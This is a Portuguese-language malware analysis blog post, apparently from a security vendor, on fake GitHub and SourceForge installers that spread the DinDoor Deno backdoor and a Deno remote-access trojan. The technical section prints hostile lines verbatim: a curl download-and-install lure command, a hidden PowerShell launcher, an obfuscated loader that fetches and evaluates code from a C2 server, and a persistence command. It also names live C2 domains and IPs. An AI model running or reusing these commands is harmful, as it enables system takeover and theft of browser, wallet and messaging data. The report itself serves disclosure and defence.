Softwares falsos no GitHub e no SourceForge distribuem o Deno RAT 

| 26 de maio de 2026
Lobo em pele de cordeiro

Durante nossas atividades de detecção de ameaças, encontramos instaladores e plug-ins falsos que se passavam por softwares populares, incluindo ChatGPT, Claude, AutoTune e Kontakt, no GitHub e no SourceForge, distribuindo um backdoor Deno conhecido como DinDoor. Os invasores estão usando YouTube comprometidos para divulgar links para essas plataformas. 

O DinDoor acaba por instalar diversos tipos de malware, incluindo um trojan de acesso remoto (RAT) furtivo, que também utiliza o ambiente de execução JavaScript Deno.  

Os invasores estão cada vez mais se valendo de ambientes de execução alternativos de JavaScript, como o Bun e o Deno, para contornar os métodos tradicionais de detecção. Em uma de nossas investigações recentes, documentamos como os invasores estão usando o Bun como vetor de infecção inicial para distribuir o NWHStealer. E, em março, ThreatDown também observaram invasores usando o Deno para distribuir o CastleLoader por meio de uma cadeia de infecção em várias etapas envolvendo a isca ClickFix.  

Essas campanhas utilizam o Scoop (um instalador alternativo para Windows) e o WinGet (o gerenciador Windows oficial Windows ) para instalar o Deno no computador da vítima. Em seguida, elas utilizam o ambiente de execução do Deno para executar um RAT capaz de executar cargas úteis adicionais, extraindo dados de navegadores, carteiras digitais e outros aplicativos, o que inclui um recurso interessante de ponto a ponto que usa Edge ocultar o tráfego malicioso. 

Plataformas legítimas utilizadas indevidamente para disseminar malware

Na maioria dos casos analisados, a cadeia de infecção geralmente é iniciada por meio dearquivos MSIouscripts do PowerShellbaixados do GitHub ou do SourceForge. Os usuários costumam ser redirecionados para esses repositórios maliciosos por meio deYouTube comprometidos. Atualmente, esses vídeos somam mais de 50.000 visualizações. 

YouTube comprometidos com vídeos gerados por IA 
YouTube comprometidos com vídeos gerados por IA 

YouTube comprometidos publicam vídeos promovendo diversos softwares e alternam constantemente entre contas do GitHub para distribuir o malware. 

YouTube com links para repositórios maliciosos do GitHub
YouTube com links para repositórios maliciosos do GitHub

O software falso parece ter sido criado para atingir criadores de conteúdo, entusiastas de IA, gamers e usuários com conhecimentos técnicos, que são mais propensos a baixar ferramentas não oficiais, softwares crackeados ou instaladores distribuídos pela comunidade em sites como o GitHub e o SourceForge. Observamos MSIs e scripts falsos se passando por instaladores e plug-ins de softwares e marcas legítimas, como ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune e Kontakt. 

Repositório do GitHub para o instalador falso do ChatGPT
Repositório do GitHub para o instalador falso do ChatGPT 

Os repositórios maliciosos contêm um comando tanto para Windows macOS. Esses repositórios solicitam que os usuários abram o terminal e copiem um comando malicioso, que baixa e executa o MSI do GitHub. 

Plugin falso que solicita ao usuário que copie e execute o comando malicioso 
Plugin falso que solicita ao usuário que copie e execute o comando malicioso 

Contas maliciosas no GitHub criam vários repositórios repletos de softwares e plug-ins falsos relacionados a programas populares para atrair mais usuários. 

Conta no GitHub com vários repositórios maliciosos
Conta no GitHub com vários repositórios maliciosos

Descobrimos que o mesmo backdoor foi distribuído através do SourceForge, se passando por um software de jogos legítimo chamado GearUP e por um software de remoção de marcas d'água baseado em IA chamado BWR. 

Os arquivos MSI maliciosos hospedados no SourceForge

Como se manter seguro  

Os invasores se valeram fortemente da confiança dos usuários. O GitHub e o SourceForge são plataformas legítimas, o que torna os projetos falsos mais convincentes. Entramos em contato com o GitHub, que removeu rapidamente os repositórios maliciosos, mas os usuários devem esperar que novos continuem surgindo.

Aqui estão algumas maneiras simples de se manter seguro:  

  • Baixe software apenas dos sites oficiais dos fornecedores.  
  • Desconfie de versões “gratuitas”, pirateadas ou não oficiais de softwares pagos. 
  • Tenha cuidado com downloads do GitHub, SourceForge, fóruns ou sites de compartilhamento de arquivos, especialmente de contas novas ou desconhecidas. 
  • Os invasores continuam criando novos perfis para distribuir esse malware em várias plataformas.  Verifique o perfil do desenvolvedor ou editor, sua reputação e há quanto tempo foi criado antes de baixar qualquer coisa. 
  • Verifique se o conteúdo do arquivo, as imagens e os arquivos de texto correspondem ao que você esperava baixar. Os nomes e as estruturas dos arquivos costumam seguir padrões maliciosos facilmente reconhecíveis.  
  • Verifique o editor do arquivo e a assinatura digital antes de executá-lo. Windows, geralmente é possível verificar isso clicando com o botão direito do mouse no arquivo e selecionando Propriedades > Assinaturas digitais. Lembre-se de que uma assinatura válida não garante que o arquivo seja seguro, mas a ausência de assinaturas ou assinaturas suspeitas costumam ser um sinal de alerta. 

Análise técnica 

Os repositórios maliciosos do GitHub solicitam que o usuário abra o cmd e execute um comando malicioso. Os comandos maliciosos baixam um MSI do GitHub e o instalam por meio de msiexec. Esses repositórios às vezes também contêm scripts do PowerShell para iniciar a cadeia de infecção de maneira semelhante. 

Exemplo de um comando malicioso hospedado no GitHub que dá início à cadeia de infecção: 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

O MSI salva um arquivo CMD e um script do PowerShell em um diretório aleatório especificado no MSI InstallationFolder e valores do Registro. Detectamos diferentes estruturas para esses MSIs, com JavaScript em vez do arquivo CMD, ou com arquivos incorporados adicionais.

Os arquivos “Ps1File” e “CmdFile” contidos no dropper MSI
Os arquivos “Ps1File” e “CmdFile” contidos no dropper MSI

O arquivo CMD executa o script do PowerShell, cujo nome varia nas cadeias de infecção analisadas: 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

O script do PowerShell executado
O script do PowerShell executado

O script do PowerShell se encarrega de: 

  • Verifique se o gerenciador de pacotes Scoop está instalado e, caso não esteja, instale-o usando o script oficial disponível em get.scoop.sh. O Scoop é um popular instalador de software e gerenciador de pacotes de código aberto para a linha de comando do Microsoft Windows. 
  • Usando o Scoop para instalar o WinGet (GerenciadorWindows ), caso ele não esteja instalado.  
  • Instala o Deno (um ambiente de execução de JavaScript/TypeScript) via WinGet ou Scoop, caso ainda não esteja instalado.

O uso dos gerenciadores de pacotes Scoop e WinGet para instalar software adicional na máquina comprometida é uma abordagem interessante que oferece mais flexibilidade ao invasor. 

Comando executado para instalar o Deno usando o WinGet: 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

A porta dos fundos DinDoor 

Em seguida, a etapa a seguir é executada com o executável do Deno baixado: 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

O código retornado (cujo nome interno é “launcher-1”) é uma pequena função em ciclo de avaliação que baixa a próxima fase (cujo nome interno é “launcher-2”). O backdoor baixado é conhecido publicamente comoDinDoor

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

O backdoor garante a persistência, envia informações sobre o sistema comprometido ao servidor de comando e controle (C2) e executa cargas úteis adicionais e comandos recebidos do C2. Os pontos de extremidade HTTP utilizados para as comunicações C2 variam entre os casos analisados.  

O backdoor obtém um ID de um endpoint HTTP (por exemplo, /security-pool) e, em seguida, usa esse ID para obter a próxima etapa a partir de /v2{ID}.js.   

A etapa obtida é executada por meio de stdin sem gravar no disco, usando o comando: 

deno run -A --no-check –

Para garantir a persistência, o backdoor executa um comando do PowerShell para criar uma chave RUN que executa o downloader “launcher-1” utilizado anteriormente: 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

Nos casos analisados, esse backdoor distribui várias famílias de malware. Neste blog, analisamos uma das cargas úteis distribuídas: um RAT que utiliza o ambiente de execução JavaScript Deno. 

Deno RAT 

O RAT distribuído, assim como os outros scripts analisados, utiliza o ambiente JavaScript Deno e possui funcionalidade completa para controlar o dispositivo, executar comandos e cargas úteis, além de extrair vários tipos de dados por meio de seu módulo de roubo de dados integrado.  

Não encontramos um nome específico ou atribuição para esse RAT. No passado, o RAT foi chamado de “Smokest” com base em um valor específico na configuração. O estilo semelhante de comentários e a infraestrutura compartilhada sugerem que o desenvolvedor do DinDoor e o desenvolvedor do RAT possam ser a mesma pessoa ou equipe. 



Além do HTTP para comunicação C2, o RAT também suporta WebSocket comunicação, ativada quando o valor JSON isLiveEnabled o valor retornado pela função C2 está definido como verdadeiro. 

A principal função do Deno RAT
A principal função do Deno RAT

O RAT suporta diferentes comandos (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) e funcionalidade: 

  • Recolher informações do sistema sobre o dispositivo comprometido 
  • Controle bidirecional total por meio de uma implementação personalizada do VNC via WebSocket 
  • Visar mais de 50 extensões de carteiras de criptomoedas e 10 pastas de softwares de criptomoedas, como Atomic Wallet, Exodus, Electrum e ByteCoin
  • Coletar dados de navegadores como Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser e Chromodo 
  • Extrair dados do Telegram, Discord e Lightcord 
  • Registrar e modificar os dados da área de transferência  
  • Listar pastas e arquivos e extrair o conteúdo de arquivos com extensões específicas  
  • Capture capturas de tela usando diferentes métodos  
  • Executar cargas úteis adicionais  
  • Iniciar ou encerrar processos arbitrários  
  • Executar comandos com o PowerShell  
  • Estabelecer túneis de proxy SOCKS5 via WebSocket 

Uma das características mais interessantes do RAT é um modo de streaming ponto a ponto que utiliza o Edge para ocultar o tráfego e dificultar a detecção.

Para transmitir vídeo ao vivo diretamente para o operador sem passar pelo servidor C2, o RAT inicia um Edge oculto Edge Microsoft Edge e se conecta a ele por meio do Protocolo Chrome (CDP). Em seguida, ele injeta uma pequena página HTML WebRTC no Edge, transformando o navegador legítimo em um retransmissor de vídeo ponto a ponto. O agente Deno captura e codifica a tela da vítima em H.264, passa os quadros para a Edge via CDP, e Edge os Edge diretamente para o navegador do operador por meio de um WebRTC DataChannel criptografado. A sinalização SDP e ICE, necessária para estabelecer a conexão direta, é trocada através do WebSocket C2 existente. 

A página HTML inserida no Edge
A página HTML inserida no Edge  

O RAT utiliza os seguintes pontos de extremidade para a comunicação C2, que podem variar entre as amostras: 

  • /health: verifica a resposta “ok” do C2 
  • /token: receber parâmetros de configuração, execução de tarefas, resultados e dados extraídos 
  • /vnc/agent/: Caminho do WebSocket usado para a comunicação VNC 

Os dados de configuração são codificados em Base64 e enviados nas comunicações com o C2 como um token de autorização. Dados de configuração decodificados: 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

Encontramos diferentes versões desse RAT, incluindo uma versão “light” chamada “agent-lite”, que suporta apenas alguns comandos e utiliza o Cloudflare Workers para a comunicação C2. 

A versão “light” do RAT
A versão “light” do RAT

 

Agradecimentos 

Indicadores de Compromisso (IOCs) 

URLs 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

Domínios 

  • claudescript[.]top: site de distribuição 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

IPs 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

Não nos limitamos a informar sobre as ameaças, nós as removemos

Os riscos de segurança cibernética nunca devem se espalhar além de uma manchete. Mantenha as ameaças longe de seus dispositivos fazendo o download Malwarebytes hoje mesmo.

Sobre o autor

Gabriele é um engenheiro de pesquisa de malware que adora combater malware. Quando não está fazendo isso, você o encontrará curtindo a natureza, a arte e os animais.